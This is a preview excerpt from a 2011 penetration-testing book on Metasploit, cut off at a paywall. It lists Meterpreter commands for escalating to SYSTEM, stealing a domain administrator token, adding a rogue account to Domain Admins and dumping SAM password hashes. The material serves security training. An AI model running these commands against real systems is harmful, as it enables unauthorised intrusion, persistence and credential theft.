July 2011
Intermediate to advanced
328 pages
9h 1m
English
Elevate your permissions on Windows-based systems using Meterpreter:
meterpreter >use privmeterpreter >getsystem
Steal a domain administrator token from a given process ID, add a domain account, and then add it to the Domain Admins group:
meterpreter >psmeterpreter >steal_token 1784meterpreter >shellC:\Windows\system32>net user metasploit p@55w0rd /ADD /DOMAINC:\Windows\system32>net group "Domain Admins" metasploit /ADD /DOMAIN
Dump password hashes from the SAM database:
meterpreter >use privmeterpreter >getsystemmeterpreter >hashdump
On Win2k8 you may need to migrate to a process that is running as SYSTEM if -getsystem and hashdump throw exceptions.
Automigrate to a separate process:
meterpreter ...
Read now
Unlock full access